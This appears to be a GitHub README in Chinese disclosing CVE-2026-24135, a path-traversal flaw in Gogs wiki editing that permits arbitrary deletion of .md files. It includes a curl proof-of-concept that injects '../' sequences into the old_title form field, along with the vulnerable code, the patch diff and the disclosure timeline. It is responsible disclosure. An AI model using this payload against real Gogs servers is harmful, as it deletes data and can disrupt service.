reschjonas/CVE-2026-24135
GitHub: reschjonas/CVE-2026-24135
披露了 Gogs 中因 Wiki 页面编辑时对旧标题参数未进行路径清洗导致的任意文件删除漏洞(CVE-2026-24135)。
Stars: 1 | Forks: 0
# CVE-2026-24135:Gogs 中通过 Wiki 路径遍历实现任意文件删除
## 摘要
在对 [Gogs](https://gogs.io)(一款用 Go 编写的流行自托管 Git 服务)进行安全审计时,我发现了 `updateWikiPage` 函数中存在一个路径遍历漏洞。该漏洞允许具有 Wiki 写入权限的认证用户通过向 Wiki 编辑表单的 `old_title` 参数中注入路径遍历序列,**删除服务器上的任意文件**。
## 根本原因
该漏洞是 `internal/database/wiki.go` 中一个**非对称的清洗缺陷**。当 Wiki 页面被更新时,该函数对两个标题参数的处理方式不同:
| 参数 | 是否清洗 | 使用位置 |
|-----------|-----------|---------|
| `title`(新名称) | 是 — 通过 `ToWikiPageName()` | `path.Join()` 用于创建文件 |
| `oldTitle`(旧名称) | **否** | `path.Join()` + `os.Remove()` |
### 漏洞代码
```
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
```
`oldTitle` 值直接从用户控制的表单输入流入路由处理器,然后进入 `os.Remove()`,未经过任何路径清洗。
## 数据流
```
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
```
## 攻击向量
**前置条件:** 对任意仓库 Wiki 具有写入权限的认证用户。
1. 导航到编辑一个已有的 Wiki 页面
2. 拦截发往 `/repo/wiki/edit` 的 POST 请求
3. 修改 `old_title` 表单字段,包含路径遍历序列(例如 `../../../../tmp/target_file`)
4. 提交请求
5. 服务器解析遍历路径并删除目标文件
## 概念验证
```
# 步骤 1:验证并创建/编辑 wiki 页面
# 步骤 2:拦截 POST 请求并在 old_title 中注入 traversal
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# 结果:/tmp/target_file.md 从服务器被删除
```
`.md` 扩展名会被自动追加。任何 Gogs 进程拥有写入权限且以 `.md` 结尾的文件都可以被删除。
## 影响
| 影响 | 描述 |
|--------|-------------|
| **任意文件删除** | 删除 Gogs 进程可写入的任何 `.md` 文件 |
| **拒绝服务** | 移除关键配置文件或数据文件 |
| **数据丢失** | 破坏其他用户的 Wiki 页面、文档或仓库文件 |
| **潜在升级** | 与其他漏洞链式利用,可能导致进一步危害 |
## 修复
对 `oldTitle` 应用与 `title` 相同的 `ToWikiPageName` 清洗方法:
```
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
```
我在披露过程中提出了此修复方案,Gogs 维护者已在 [PR #8099](https://github.com/gogs/gogs/pull/8099) 中实现。
## 披露时间线
| 日期 | 事件 |
|------|-------|
| 2025-12-13 | 安全审计中发现漏洞 |
| 2025-12-13 | 通过 GitHub 安全公告提交报告([GHSA-jp7c-wj6q-3qf2](https://github.com/gogs/gogs/security/advisories/GHSA-jp7c-wj6q-3qf2)) |
| 2026-01-20 | 跟进 Gogs 维护者 |
| 2026-01-20 | 维护者确认漏洞 |
| 2026-01-22 | 补丁合并([#8099](https://github.com/gogs/gogs/pull/8099)) |
| 2026-01-22 | GitHub 分配 CVE-2026-24135 |
| 2026-02-06 | 公开发布 |
## 参考
- [GitHub 安全公告:GHSA-jp7c-wj6q-3qf2](https://github.com/gogs/gogs/security/advisories/GHSA-jp7c-wj6q-3qf2)
- [补丁:gogs/gogs#8099](https://github.com/gogs/gogs/pull/8099)
- [Gogs 项目](https://gogs.io)
标签:CVE-2026-24135, Gogs, Go语言, Web安全, Wiki, 事件响应, 任意文件删除, 安全漏洞, 文件删除, 日志审计, 服务器监控, 本地文件删除, 权限绕过, 漏洞分析, 程序破解, 自托管Git服务, 蓝队分析, 认证用户, 路径探测, 路径注入, 路径遍历